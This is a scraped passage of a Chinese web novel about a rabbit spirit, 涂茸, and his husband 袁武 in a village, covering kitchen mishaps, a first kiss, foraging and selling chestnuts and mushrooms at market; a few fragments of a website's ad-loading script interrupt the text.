这事没得商量,袁武也不跟他商量,自顾自地拍板决定,要是日日都这样乱跑,万一真在镇上出事,到时候找谁说理? “客官,您的面好了!” 店小二的出现打断他们的僵持,且不说涂茸,饶是袁武自己都觉得有些饿了,他急着多抗多做,饼子都是狼吞虎咽吃完的,没尝出个滋味来。 涂茸低头嗅了嗅,笑弯眼睛:“有点香香的。” “快吃,吃完回家。” 听他这样说,涂茸立刻来了精神,拿起筷子就开始卷面,然后大口大口的往嘴里塞。 袁武也低头呼噜面条,几大口下去,一碗面便吃了个干净。 在外面吃这么一碗要十文钱,自然不如在家吃个饱,他将涂茸剩的碗底也吃完,给完铜板,两人便离了店。 “可要吃点心?”袁武问,嘴上这样问,却是已经在带着涂茸朝那边走去了。 涂茸是想吃的,只是他今日也是见识过恩人做的活了,那样大又沉的包,要扛上一日才能赚到铜板给他买点心糖块,他便有些不好张口了。 他觉得这样很奇怪,若是在涂苒面前,他想吃什么都会毫无顾忌地张口要,虽然总被对方捶就是了。 可恩人这样说,他就有些舍不得了。 他摇摇头:“不吃哦,有些吃腻了。” 他撒谎了,他真是坏兔子。 “那就留着不腻了再吃。”袁武强硬拽着他进了糕点铺。 袁武生得高大俊朗,也时常来糕点铺,店小二早就认得他了,而且这汉子不懂糕点,都是他们说哪个好吃就买哪个,好哄的很。 “您又来了。”店小二欢喜迎上去,视线落到他身后的涂茸身上,话在嘴里就卡了壳儿,“这、这是……您一起来买啊?” 袁武点点头,扭头看向涂茸:“你自己去挑。” “真的吗?”涂茸觉得有些不好,他轻轻招手 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,袁武便将耳朵凑到他唇边,就听他担忧道,“我们买得起吗?” “买得起。”袁武肯定回答。 他不是为了面子活受罪的人,若是真买不起,他便不会开口提议带涂茸过来,回头有银子再来也是一样的。 他只是没想到,平时吃穿都不在意的小哥儿,此时竟会问这些,可见还是他赚的不够多,才叫对方有这种担忧。 得到肯定回答,涂茸便欢喜的去挑糕点了,视线在那些整齐地点心上掠过,好像是真在寻找自己喜欢且爱吃的,但只有他自己知道,他在找的是袁武经常买给他的。 他不知道这些点心价格几何,但恩人常常买的,定然买得起。 “就要这些?”袁武微微皱眉,“不是说吃腻这种了?” “好吃的。”涂茸没有多解释。 袁武便也没多说什么。 涂茸稍稍落后他半步走着,脑袋左转转右看看,对街道上的一切都感觉到好奇,甚至想去每个小摊前都看看,那些叫卖的东西对他来说,简直就是最最稀罕的东西。 察觉到他的动作,袁武便刻意走得慢了些,有时还会走到一些摊贩面前聊几句。 等两人走出街道,都过去半个时辰了。 “那咱们现在回家?”袁武问,这一路过来也确实买了不少东西,够他们吃穿很久了。 涂茸点头,抱着根糖葫芦霸气回应:“回!” 这会已经是下午,镇口处有很多牛车等着,看起来都像是要往回走或是在等人,袁武看了几眼便瞧见了刘志。 对方怕是已经卖完东西,想着顺便在返程时拉几个人赚几枚铜板。 他快步走上前:“大志哥。” 刘志看到袁武身侧的涂茸狠狠松了口气,他有些忧心道:“幸好幸好,我当时急着送货,把他送到码头就走了,心里一直担心着,没叫人欺负吧?” 他最后这句说的很轻,话中的意思袁武也明白,镇上不乏好些有钱公子哥,再加上涂茸长得着实好看,难免会遇到麻烦。 袁武摇摇头,他从荷包里拿出三枚铜板,递过去道谢:“多谢您带他来,赚几枚铜板不容易,收着吧。” 刘志有些纠结,他媳妇有身孕了,多养个孩子也是花销,可袁武和三弟关系那么好,这钱他收着不踏实。 “收着呀?”涂茸探头看向他,“不然其他人都要白坐牛牛车了。” “诶好。”刘志立刻接过铜板仔细放起来。 袁武牵着涂茸坐上去,东西就牢牢抱在怀里,略等了一会便也有人来坐牛车回去,很快就将牛车挤满,刘志这才驾驶马车出镇,朝玉灵村的方向走去。 回来时已是傍晚,天色已经渐渐暗沉,各自打过招呼便各回各家了。 在外跑了一日,涂茸早就有些困倦,他举着还没吃完的糖葫芦快速朝家中跑去,还未走近,就在门前瞧见了一团白花花的东西。 他定睛一瞧,眼睛瞬间瞪老大。 “涂苒!” 白团兔子被惊醒,当即跳起来给了涂茸一脚。 16. 愧疚 。“你就别生气了。” 屋内,袁武看着涂茸抱着一只皮毛雪白的兔子,好声好气地央求着,他也不知涂茸是从何处看出这兔子在生气的,大概是从那兔子不断重重起伏的肚子。 也是从那些央求声中,袁武得知这兔子便是涂茸的朋友,看这样子倒像是等了一下午…… 袁武轻咳一声:“你的朋友,吃什么?” 涂茸垂眸和涂苒对视,他倒是想让对方尝尝炖水鸭,但兔子形态的涂苒不能吃肉食。 “菜叶就好。”涂茸说。 袁武立刻进厨房去拿新鲜菜叶,若是换做其他人户,看到这么肥美的兔子,怕是早就要变成盘中餐了,也就他们家,还得仔细照顾着。 哪个正常人会和兔子做朋友,吃都没得吃。 涂茸说完悲切道:“好想让你尝尝武哥的手艺,可惜你现在不能吃肉,一会我给你好多蔬菜果子,你就不要再生气了,你之前没说来,我以为真的不来呢。” “你身上甜滋滋的,吃什么好吃的了?”涂苒哼哼两声,往他怀里寻了个舒服点的姿势,心中的郁闷消减不少。 “武哥给我买了点心和糖葫芦,人类的食物当真美味,糖葫芦还有几颗,一会我也悄悄给你带上。”涂茸摸摸他脑袋,放低音量,“我还是给你装些肉怎么样?你到时候可以变成人形再吃。” ……我就真差你那么一口吃的? 涂苒懒得搭理他这些,微微抬抬兔脑袋,很是骄矜道:“带我看看你的新洞窝。” “好的涂苒大人。” 大门和大院,进来时涂苒已经瞧过了,涂茸抱着它在前厅转悠一圈,厅里倒是没有什么东西,就一些桌椅,用来接待客人。 再往里,便是他们的卧房。 卧房是涂茸觉得最重要的地方,袁武显然也是这样认为,因此卧房的空间很大,进去先是一道小门隔着的小厅,有一张桌椅,上面时常放着涂茸的零嘴儿。 再往里面,才是睡觉的大床,夫夫两人比刚认识时亲近不少,自从新房建好,一直都是同榻而眠,乡下人户的木床都是自己做,要多大能做多大,涂苒看着那大床,都能睡下三个涂茸了。 它直接蹦到床上,感受着被褥的柔软,再看涂茸的穿着,终于确定这傻兔子过得不错,才彻底放下心来。 “这里还有其他卧房,我给你留着一个哦。”涂茸小声说。 “是‘间’!笨兔子。”涂苒长舒一口气,它是真怕涂茸被欺负,但傻兔子有傻福,这袁武也算不错。 涂茸被他骂习惯了,也不气恼,只笑道:“你什么时候要来这里住呢?我是武哥战场牺牲的战友弟弟,我觉得你也能是。” 涂苒:“……”我觉得不能。 他它无奈叹息:“你就别管我了,我在玉灵山很开心,左右几十年眨眼就能过去,你记得回家就好。” “我——” “涂茸?在屋里做什么?不是要吃菜?” 袁武的出现再次打断涂茸未说完的话,一人一兔赶紧跑出去,涂茸接过菜叶放到涂苒唇边,柔声道:“吃吧,等你走的时候,再给你带一些哦。” “你要是喜欢,可以养在家里。”袁武说。 “真的吗?”涂茸刚应完就又被兔子踢了一脚,他赶紧拒绝,“还是算了,被别人发现吃掉就不好了……” 袁武若有所思点点头,没再多说。 仅仅是闲聊几句的功夫,外面就已经彻底变黑,涂茸知道它没有在外面过夜的习惯,便提出要送它回山。 袁武自然不能真叫他去送,且山里并不安全,他便接话道:“我去送,我知道哪安全。” “那你早点回来哦。”涂茸立刻答应,将兔子放进袁武怀中,他轻轻摸摸对方,“下次就直接进去吧,随时欢迎你。” 袁武背着小包袱一手托着兔子便进了山。 他心头有太多疑问,一只山里的兔子,居然能准确找到家里,甚至还能被几句话好,怎么看都不会是普通的兔子,要么这兔子能说话,要么涂茸能和兔子说话。 但不管是前是后,都不太可能。 边走边想,很快就到了进山处,他将兔子放到地上,一只手却捏着兔耳朵,他低声道:“说,你是什么妖怪?” 兔子不为所动,甚至有些不适地瑟缩着。 袁武皱眉:“你们说的话我都听到了,你究竟有什么目的?” 兔子还是没有任何反应。 袁武轻啧一声:“娘的,我在这发什么疯?” 他说完将包袱绑到兔子身上,然后快速离开了,虽然不信神鬼之说,但刚才自言自语两句,还真叫他觉得毛毛的。 直到他走远,涂苒才失力躺在包袱上,它竟是没想到,这人类居然这般敏锐,竟真的差点把它也给唬住,要是换做涂茸那傻子,怕是刚刚就要开口求饶了。 看来以后,真的不能再以兔形去村里了。 日子一天天过着,天气也一日比一日冷,袁武在码头扛大包赚的钱悉数都花到了家里,冬衣棉花样样都不能缺。 涂茸也终于克服早起困难,能在天不亮时就把袁武送出村,然后再回去卧躺着,只是晨起醒得早,一整日的时光便显得有些慢。 他白日里不是去和程月放鸭,就是和袁秀英一起去后山挖野菜,他都能自己认出野菜了。 “诶茸哥儿!那是草,你想啥呢?这都好几天了,你还没分清野菜啊?”袁秀英语气带着些无奈,哪家小哥儿像他这样不愁吃穿不做活,甚至教都教不会…… “堂姑,我不想做这些。”涂茸扁扁嘴,“我只想和武哥见面说话,什么都不想做……” 认识这段时间,袁秀英也知道他的脾性,说话直白,不会藏掖着。 听他这么说,就知道他这是惦记袁武了,每日都要来上这么一回,但她始终不习惯,做夫郎的哪能成日和当家的黏在一起? 她像往常一样哄道:“三小子晚上就回家了,他出门是给家里赚银子好过冬,你老想他干啥?再说了,你在家老实待着,他做事也踏实,你总不能叫他在外面还惦记你。” “惦记 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我有什么不好吗?”涂茸不理解,“我很喜欢他惦记我啊,我也惦记他。” 这幅刀枪不入地无赖样子真叫袁秀英有些烦了,她彻底没了耐心,忍不住将这段时间的想法全部倒豆子似的倒出来。 “茸哥儿,你也别嫌我说话难听,你放眼去看看,哪家媳妇夫郎能像你这样享清福,三小子在外拼命赚钱,你在家里吃吃喝喝睡睡,不求你下地干活,但你总该学着洗衣做饭,把家里这头顾好,都这么久了,你连火都生不着,更别提做饭了!” “三小子在外面干一天苦力活,回家连口热乎饭都吃不上,还得伺候你,给你做饭吃,你就不能懂点事,让他别再操心你吗?” 涂茸无措地看着她,不明白平时温和地堂姑怎么突然就变了脸色,他从没有被这样疾言厉色对待过,脑袋木木的,不仅想不到反驳的话,甚至觉得堂姑说的很有道理。 他好像确实一直在让恩人受累。 袁秀英发泄般说完,见涂茸神情恍惚,不免又有些愧疚,她低叹一声,将他手里的野草扔掉,把野菜放进他篮子里,然后快步离开了。 后山就紧挨着村里,涂茸见她离开,自己也没了挖野菜的心思,便拎着篮子回家了。 涂茸端来木盆将野菜倒进去清洗干净,然后将野菜晾晒在簸箕上,又把厨房内的碗筷收好。 视线落在厨房内的灶火台上,他下意识蹲过去,拿起旁边的火匣子吹了吹,举着干柴开始点,可也正如堂姑说的那样,他根本就点不着。 他不知道恩人是怎么用小小的火匣子把粗壮的木柴给点燃的,也不知道点燃柴火后接下来该做什么,他只是憋着一股劲,好像只要能把柴火点燃,就能证明什么东西。 大柴火不行就换小的,小的不行就换更小一些的,从劈好的木柴到小而干的树叶,他挨个试着试着……终于在他不断吹气下,几枚干瘪的树叶被点燃了! “着了着了!”他不断往灶火堂里添干树叶,火在里面越烧越旺,他便直接将木棍干柴都往里面放,可他没想到,火苗瞬间就被那些东西都压没了,再看不到任何火星子。 涂茸惶然无措地看看灶火堂里的黑烟,又看看手上的火匣子,第一次生出一股说不清楚的感觉,他觉得自己好像什么都不会。 不会洗衣做饭,不会生火烧水,就只会嘴上说好听的话,实际上一件事都没有做到。 一事无成地愧疚感包裹着他,叫他忍不住怀疑自己究竟是来报恩的,还是添乱的。 傍晚,袁武回到家中,还未进门就发现厨房方向冒着黑烟,他心头猛地一跳,当即打湿衣裳冲进去,就见一道瘦小身影正蹲在灶火前死命吹着。 “涂茸!” “武哥!快!快有火苗了,我该做什么?是不是要把米放进去?还是应该把水放进去?”涂茸顶着一张被烟熏黑的脸问他,垂到胸前的发梢也被火燎的卷曲,带着一丝糊味。 袁武心尖好似被什么锋利物件狠狠戳了一刀,他从未想过让涂茸做这些,但他还是顺着他说道—— “放水。” 17. 亲亲 夜晚。 浴房内很安静,除了几道抽泣声和水声,再没有其它动静。 涂茸靠着浴桶,整个人都躲进水里,只露出一双依旧泛红红肿的眼,心不在焉地轻轻划着水面。 傍晚恩人回家后并没有训斥差点把厨房烧掉的他,甚至和他一起做饭,没有叫他饿着肚子,只是再就没有和他说过话了。 涂茸有些吃不准对方的意思,难不成是在想办法要把他赶走吗? 哗啦…… 涂茸瞬间抬头,袁武皱眉:“水都凉了,还在里面躲着?出来。” 他说着去拿旁边挂着的布巾,涂茸就赤条条地站起来,走出来,不觉羞耻般任由他帮自己擦拭身上的水珠。 换做平时,袁武定然是看都不敢看的,可这会他满心都是涂茸在灶房里的样子,便半分旖旎心思都没有,帮他擦干,穿戴整齐,带他回了卧房。 “武哥,你在生气吗?”涂茸直白询问,“还是在想要赶我走?” 他脑子笨,想不到其他的,在他看来,两个人不说话就已经是出了天大的事了。 袁武将他塞进被子里抽空回答:“没生气,夜里凉,赶紧捂起来,你先睡吧。” 涂茸拽着他不松手:“那你呢?你要去哪,你不和夫郎睡觉要去哪里?去找别的夫郎吗?” “……这话你都敢说?”袁武皱眉使劲捏住他脸颊,“说你是傻子,这种话也是能随便说的?我去把厨房收拾一下。” “那我也去收拾。”涂茸立刻翻被就要下床,却被袁武按住了。 袁武:“你在家里受累了,我去就行。” 涂茸却是不愿意,他双手抱住袁武手臂,皱眉解释:“我没有在家里受累哦,很多事我都能做的哦,洗衣做——总之我都能做,我都会做的!” 他不好意思再动嘴皮子说那些话,袁秀英的话就像是针扎在他心上,只要他一天没有真的做到那些事,他就一天说不出口。 袁武不是傻子,他能从战场活下来,靠的就是敏锐和直觉,而此时,直觉告诉他,涂茸可能更需要他陪伴。 他没再挣扎,即便是躺下后也没有挣脱手臂,这种接触对他来说是前所未有的,涂茸晚上睡觉很老实,哪怕是睡着都没有这样和他亲近过。 今日果然是不同寻常的一天。 “今日都做了什么?”袁武轻声询问,借着月光还能看见涂茸紧皱又飞快松开的眉毛。 上次对恩人撒谎涂茸已经很羞愧了,这会再听他问,便将白天发生的事全都告诉对方了,连带着他的心情一起,毫无保留地。 他不明白人类的情绪为什么多变,不明白为何成为夫郎就要事事都会都做,也不明白他究竟怎么做,对恩人来说才是最好的报恩。 这对兔兔来说,简直是最难最难的问题。 袁武没有指责他,也没有将过错推到袁秀英身上,他深知,袁秀英能说出那些话是真把他当亲侄子,对他的关切不比陈兰香那个亲娘少。 他下意识抬动手臂将涂茸揽进怀里,瘦小的人便侧身趴在他胸膛上,举止带着全身心的信任。 “你没错,堂姑也没错。”袁武说,“堂姑只是希望你能做好夫郎,而你已经会挖野菜,会洗衣服,还能点燃灶火,也很厉害了。” 涂茸不懂:“那是谁的错?” 袁武轻声:“谁也没错,若真要论对错,那就是我的错,我如果再厉害些,有很多银子,就能买来下人伺候,自然就不用你做事,堂姑自然也就没得说了。” “不是这样的,你没有错,是我很笨,堂姑教的洗衣做饭我都没有学会,还总是懒懒的不愿做,只想贴着你,我不懂事。”涂茸连连反驳,恩人一心都是为他好,没有不好的地方。 “都说不是你的错了。”袁武轻轻拍拍他后脑勺,“你很好,不需要刻意事事为我,即便你什么都不做,你就在家里呆着,我也觉得好。” 涂茸猛地将头埋到他胸膛上,他从来没有听过这样的话,族人们敬他爱他呵护他,却也时刻在关注着他的举动,避免他做任何可能出格的事情。 但在恩人…武哥这里,他可以做想做的事,亦可以什么都不做,只要他在这里,他就是好的。 一股温热的情绪包裹着他,让他心跳加速,明明觉得惊慌,却半点都不想逃离此刻温暖异常的怀抱。 “武哥,我真的会和你好好过日子的。”涂茸低声说,就算不是为了报恩,就算只为了眼前这个男人。 “我知道,你很努力。”袁武说。 涂茸微微挣动他的手臂,直起上半身,透过月光和他对视,他轻轻问:“那现在可以亲亲了吗?” 袁武猛地搂紧他腰肢,另一只手扣住他后脑,将人禁锢在身上,压住他的头仔细亲吻着。 翌日。 涂茸将被子刨开,露出炸毛的脑袋,他躺在床上出神,思绪不由自主飘到昨夜,想起令人心脏不舒服的亲吻,又躲在被子里偷笑好久才探出头。 “茸哥儿你醒了吗?” 涂茸猛地坐起来,是程月的声音。 他赶紧拢好衣服下地,边走边应:“我醒了醒了……” 他有些紧张,生怕自己这模样被程月看到会告诉堂姑,那他说不定又要挨骂了。 走出屋才发现刚是清晨,他并没有起得太晚,这才稍稍松口气,但心始终高高吊着,他并不想让武哥的亲戚觉得他不好。 他将大门打开,就看到程月背着竹篓,他微微诧异:“要去哪里?” 程月有些不好意思,她挠挠脸颊:“我阿娘说让我和你一起去山里摘菌子,你想去吗?” 得知阿娘莫名奇妙把茸哥儿教训一顿,此时在见到他,程月也觉得有些尴尬,阿娘显然也知道自己冲动了,一早就让她来门前等着了。 她也只是试探叫两句,没想到茸哥儿居然真的听到了。 涂茸见她没有要责骂自己的意思,立刻喜笑颜开:“你进来等哦,我马上就好!” 程月赶紧抬脚进去,每一步都走的小心翼翼,先前都是茸哥儿去找她,这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还是她第一次来这大院子里,生怕会磕碰弄脏什么。 视线在房屋和院落转个遍,程月眼底的艳羡就没有下去,若是来日她能嫁到这样人家,娘家也就能有倚靠了。 她走进卧房,在小厅坐下,圆桌上还放着好几只油纸包,丝丝缕缕地甜气萦绕在鼻尖,果真人同人不同命。 “我好了!”涂茸收拾妥当出来,他换了身颜色暗沉的衣裳,这是武哥特意用旧衣裳给他改的。 武哥真厉害,这些都会。 程月帮他背好竹篓,她笑道:“过几日是集市,我们要是能找些山货拿去卖,能得好些铜板呢,我阿娘说,我卖山货的钱都自己留着,以后做嫁妆。” “真的吗?”涂茸瞬间来了精神,“那我们快去吧,以后有这种事你要早早来找我呀,我要得铜板给武哥,他肯定很高兴。” 程月连连点头:“对了,我挑了几只小鸭,等回来我就给你送过来,只要喂些菜叶和麸皮就行,不过你和三哥说了吗?得给小鸭弄鸭舍才行。” 涂茸笑意满满,不甚在意道:“没关系哦,武哥说这里也是我的家呀,我想养小鸭就养。” “那就好。”程月放心了。 两个人背着竹篓朝后山走去,虽说这几日天都晴着,但后山树林阴湿,总有些树根底下或者树叶压着的地方会长菌子。 后山属于玉灵村,除去之前和堂姑一起挖野菜,涂茸并没有进来过,万物生灵都有自己的地界,他们不能越界,所以之前在没有得到袁武允许,他都不会私自进篱笆院。 程月对后山很了解,边走边和他说着哪些山货能卖,对镇上的老爷们来说菌子野菜都是美味。 涂茸很赞同:“绿菜很好吃,我也爱吃。” 程月:“肯定已经有很多婶子都去找了,一会我跟你说挖什么,山里东西可多了,还有好多这时节才会熟的野果,越冷越甜。” 她说什么,涂茸便跟着点头,也确实如程月所说的,他们进山后就发现已经有很多人都在又挖又刨的。 程月亲眼看着几个妇人拿着镐子在山坡处刨出好多草根,她如梦初醒般拍了拍手:“怎么把这给忘了!那些都能晒干卖到药铺里去!” “那我们明日还来吧。”涂茸也严肃起来,一时不当心,银子都得叫别人赚了! “好!明日我们走远些。” 两人拿着手拿木棍在树叶堆里翻来覆去,那些婶子们去过的地方就如蝗虫过境,能找到的东西少之又少,他们两个便只能离她们远些找。 涂茸运气好,他翻过的树根底下必有菌子,灰扑扑地蘑菇就躲在干树叶底下,但他知道这些东西美味还能卖出好价钱! 两人越走越远,早就看不见那些婶子们的身影,程月在他耳畔低声道:“你跟我来,前面有好东西!” “能卖钱吗?”涂茸也做贼似的低声询问。 “你掉钱眼里啦?”程月震惊,转而嘿嘿笑道,“当然能卖!而且能卖很贵!” 涂茸眼睛都亮了,他就喜欢贵的! 18. 卖货 傍晚。 袁武拖着疲累身子回家,家中安静空无一人,他莫名有些不适应,将脏衣服换下扔进盆里,清洗干净身子才进厨房做饭。 这天都暗下来了,那傻东西也该回家了。 “武哥!” 袁武正煸炒着先前剩的一半水鸭,就听到外院传来的呼唤声,他扬声回应,快速翻炒着鸭肉,然后盛进盘子里。 刚走出厨房就听到一阵细嫩地嘎嘎声,和傻东西的笑声。 “程月给的鸭子?”袁武低头看着没他一根手指长的小鸭子,这东西吃不吃另说,得先养活才行。 “对哦,对啦!武哥你猜我今天去做什么了?”涂茸仰头看他,欣喜询问着。 袁武视线从小鸭移到涂茸脸上,漂亮的脸蛋站着土,柔顺的发丝上还戳着几枚干树叶,看着真像是逃荒来的。 他不由得笑出声:“去要饭了?” 涂茸也跟着笑,他拽着袁武朝院子角落跑去,指着地上的东西一一介绍道:“看!好多菌子!看这个刺人的栗子!都是我摘的!小月说能卖钱,好多好多钱,我都给你!” 袁武囫囵摸摸他脑袋,将他本就凌乱的头发撸的更乱,像是炸毛的鸭子,他笑道:“那我就都留着给你买点心。” 涂茸:“!!!我会赚很多很多的!” “先去吃饭,吃完饭我们把栗子剥开一部分,剥了壳的卖贵些。”袁武说,这东西外壳十分扎人,他们冒着被扎的风险剥开,自然得要价高些。 “好好好……” 晚饭是炒鸭肉和白米饭,袁武舍得放料,鸭肉鲜香还带着微微刺痛的感觉,很是下饭。 摘的菌子在新鲜时卖出去是最好的,幸好这时候天气变冷,就算隔两日也不会变蔫巴。 涂茸偏要和袁武一起去镇上卖山货,又不想耽误他做工,就只能在赶集日起得更早些,晨起天还未亮就在村口等着坐牛车了。 赶集日向来是村里最热闹的一日,他们只在村口稍等了一会,就有几辆牛车停在眼前了,而他们只需要付两枚铜板,就能坐去。 换做平时,村里人是绝对不会多花这一文的“冤枉钱”,但今日是赶集日,去得早才能站好位置卖东西,自然不能因为一文钱而耽误更多的钱。 袁武向来不会刻意委屈自己,有了涂茸就更不会了,在所有人还考虑时,就直接给刘志铜板,带着涂茸坐上去。 很快几辆牛车就都坐满了,这才朝镇上驶去。 程月挤到了涂茸身边,她低声道:“一会我们和秀华婶一起,她卖东西可厉害了,你到时候跟着我,别跑丢了。” “我知道的。”涂茸乖巧回答。 “你今日穿的……” “怎么了?” “没什么,穿这样不容易弄脏衣裳,镇上赶集日人很多,若是漂亮衣服,弄脏就洗不掉了。”程月没多说。 涂茸颜色好看,平日里穿的衣裳都是清浅颜色,尤其是浅绿色,看起来有种说不出的好看,但这会却是穿着灰扑扑的布子,虽然也清秀好看,但并没有像之前那样扎眼了。 至于为何这样穿,程月都明白。 袁武只当没有听到他们的交谈声,闭着眼养精蓄锐。 牛车很快就到了镇口,所有人纷纷下马车,刘志叫住程月和涂茸:“申时在这里等着,你们直接过来坐就成。” “知道了大志哥。”程月欢喜应了一声,就要拽着涂茸跟上王秀华,哪知拽了两下没拽动,她赶紧扭头看过去。 涂茸正和袁武说着话:“那我到时候就先回家哦,我给你做饭。” 袁武想到他上次生火没生着,差点把厨房烧了的事,赶紧委婉拒绝:“不用做那些,等我回家给你煎蛋,你若是真的想做,就把米放锅里,还记得怎么做吗?” “记得,把米清洗两遍,淘米水留着洗头发,先把水烧热,再把洗好的米放进去,隔一会搅搅。”涂茸按照他教的步骤字句说着,这些他都记得牢牢的。 “那就好。”袁武说完看向程月,眼神带着提醒和郑重。 一瞬间,程月感觉自己好似背负着什么。 他们就此分开,程月赶紧带着他跟上王秀华,秀华婶嗓门是大了些,但说话做事都很好,得知他们要跟着也没说什么,还提醒他们看好自己东西。 顺着街道往前走,越走人越少,没一会的功夫都散开了。 王秀华带着他们去了早市,那边好些位置都是先到先得,等他们找好位置摆上摊,天也彻底亮了。 涂茸没做过这些,他只好在旁边坐等着,就听程月喊道:“山货,新鲜的山货!菌子栗子应有尽有!” “我们这样叫,就会有人来买吗?”涂茸低声询问。 “嗓门要大,才会吸引他们过来,只要来的人多,自然会有愿意买的。”程月说。 “原来如此!”兔兔懂了! 涂茸立刻举着两只蘑菇站起来喊叫着:“菌子菌子,栗子栗子,快来看看快来买呀!” 他毫无形象地边蹦边叫喊着,还真有被他吸引过来的客人,他也不介意对方衣着朴素,知道有人来看就是好的。 程月也赶紧站起来介绍:“东家,这都是我们亲自在山上采摘的,菌子湿润带着水珠,栗子都是手剥的,您拿回去直接蒸煮都不费劲。” “怎么卖的?”管家模样的人问道。 “这是山里采摘的新鲜货,十文钱一斤。”程月斩钉截铁说道,“这栗子剥壳的十五,没去壳的十一。” 管家皱眉:“小姑娘,我是瞧你们岁数小,想着给你们送些生意,但你也不能这样坑我,差价这么多,打量着蒙我呢?” 涂茸瞬间紧张起来,这就算要价高了吗?武哥那日给他买点心,比这数都要高上好多好多! 砍价就讲究个气场,被这管家一唬,程月的气势陡然矮了一截,也有些拿不准主意了。 她下意识看向涂茸,希望他能说些什么,但涂茸从未来过集市,他能说什么呢? 他还真能。 一想到即便卖这些东西都不一定能把糕点钱赚回来,涂茸就生出许多胆子,他理直气壮道:“我们这里是最合适的价格了,就算你去其他地方问也是这样,但你第一回来,我们可以多送你一些。” 一番话下来,理没看见,姿态做的很足,一副就算你去别人那买都不会有我们便宜的样子。 这管家自然是在其他小摊问过的,价格都高上几文,他才忍 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 痛离开,看到这里是两个姑娘小哥儿,他才想着如果能把他们唬住,自己还能落下些银钱。 没想到倒是他失策了。 管家轻笑:“你这哥儿倒是会说,这菌子我便都要了,栗子一样来一斤,只是说好的,你得多送我一些。” “当然当然!”程月欢喜答应着。 将这管家送走,程月抱着涂茸笑了起来:“茸哥儿你真神了!往常我来卖东西,即便说一样的话,都不会有人买!怎么你说就这样管用啊!” 涂茸仔细想了想说道:“我只是按照武哥教的说,可能他也是真的想买吧。” 开张就这么顺利,栗子很快也被卖得不剩多少,两人一合计便准备便宜些把这些卖掉,秀华婶子把好点的位置给了他们,他们早早卖完,还能去婶子那帮忙。 只是越是心急,越是能遇上坏事。 摊前来了位岁数大些的夫郎,衣着普通,翻腾栗子的手却一点不普通,剥了壳的早就被卖完,这夫郎却徒手在带壳的栗子里翻来翻去! 涂茸眼睛瞪老大,他和程月小声交谈:“我们是不是不能用之前那些话了?” 程月神情严肃:“大概吧。” “你们这栗子咋卖的,便宜些我都要了。”年长夫郎说道。 “带壳的原是十一,现下就剩这些,九文钱卖给您。”程月试探性说道。 今日生意做得顺,她便有些松懈了,差点忘记不是所有人都好说话的。 果不其然。 那年长夫郎一听这价当即吆喝起来:“你抢钱啊?就这么几颗栗子还要价九文钱?你们年轻人就是敢张口!” “你可以不买。”涂茸皱眉说道,“已经是便宜过的价钱了。” “嘿!你就是这么做生意的?买卖东西有几个不还价的,你坑钱还敢跟我叫板?”年长夫郎在家向来没人敢和他顶嘴,这会遇到涂茸,顿时觉得脸面过不去,叉着腰就要指着他骂。 秀华婶眼看情况不对,赶紧走过来挡在他们面前,一叉腰就跟这夫郎对峙起来:“咋,买不起还不叫人说了?九文钱跟要你命似的,你买就买,不买就不买,你情我愿的事,谁坑你钱了,为了你九文钱,我们是不是还得连生意都不做啊?” “你这疯婆子咋说话呢?来啊!都来看看啊!这么几个不新鲜的栗子居然要九文钱!这不是坑钱是什么?”年长夫郎见秀华婶嗓门大,他也扯着嗓子喊起来,一瞬间就将所有人的视线都吸引到这边来了。 程月紧张地攥紧涂茸的衣裳,年轻姑娘没见过这种场面,急的都要哭了:“怎么办怎么办……” “人越来越多了,那应该会有买的人吧?”涂茸自顾自说着,视线掠过人群,神情严肃又坚定,他扬声喊道,“十文钱可以都带走!” “你疯啦?这种时候你——” “我我我!”一汉子挤进来,寒冷的天里硬是出了一身汗,“我买,家里等着炖肉呢!都给我!” 涂茸喜笑颜开:“好哦!” 还在和秀华婶吵架的夫郎惊了:“明明是我先来的!” 汉子疑惑:“你给钱了?” 年长夫郎:“没有。” 汉子顿时冷笑:“没给钱你叫唤啥?” 19. 奸商 山货不太安稳地卖完,因着东西是混在一起卖的,涂茸和程月在卖完后就躲在没人的角落把铜板分好,程月原本空空的钱袋子瞬间鼓起来。 她看向涂茸更鼓的钱袋子,颇为艳羡地询问:“三哥给你银子了?” 涂茸快速打开钱袋子给她看了一眼,然后又飞速合上,他低声道:“对哦,他说要悄悄的,不能叫别人抢了,有小偷。” “对对,快藏好。”程月说着把自己的钱袋子也往袖口深处塞了塞,今日菌子少,大头都在栗子上,回头还能再去摘一些,就能卖更多铜板。 两人相视一笑,颇有些心满意足地意思。 他们将东西都收好,转头去了秀华婶的摊子前,方才这里聚集的人多,这会都没散完,见着他们两个去了另一个摊前,也就跟着走过去了,很快就把秀华婶的山货也卖掉了。 手里有了铜板,腰杆都挺直了。 秀华婶要去买些柴米油盐,涂茸自然是不需要操心那些的,便和程月一起去逛集市了。 先前来镇上只是找袁武,现在却是要逛街买东西,涂茸忐忑又激动,他紧抱着程月手臂,两人在拥挤人潮中穿来穿去。 “你可要买什么?”程月调整被挤歪的背篓,“若是有想买的,我们好直接去铺子里,在街上挤来挤去,实在难受。” 涂茸想到袁武晨起还穿着有些单薄的衣衫,便说道:“那就去成衣铺子,给武哥买棉衣,我穿的暖和,他也要暖和。” “成衣铺子?那多贵,你买些棉花和布匹,拿回家让我阿娘帮三哥做就成。”程月神情有些不赞同,成衣是最贵的,且又极其挑身形,三哥不在这里,很难买到合适的。 再者,成衣铺子都是给那些公子小姐们开的,成衣一经售卖,死活不给退,若是穿不了,岂不是白浪费那些银子? 涂茸不懂这些,但却是懂得赚钱不易,听程月说贵,当即便改了主意。 程月带着他朝布匹铺子走去,青石镇很大,铺子自然也是多的,只是遇上赶集日,人头攒动,有些铺子他们压根挤不进去,只能去了一家人不算多的铺子。 伙计见着他们立刻欢喜迎过来:“两位贵客要裁衣还是买棉花布匹?我们铺子里新得了一些匹缎,溜光水滑,穿着很衬人!” “棉花如何卖的?”程月询问。 “咱家棉花都是上等棉,三十五文一斤,也有稍便宜些的次等棉,二十五文一斤。”伙计对这些价格烂熟于心,张口便是这些价格。 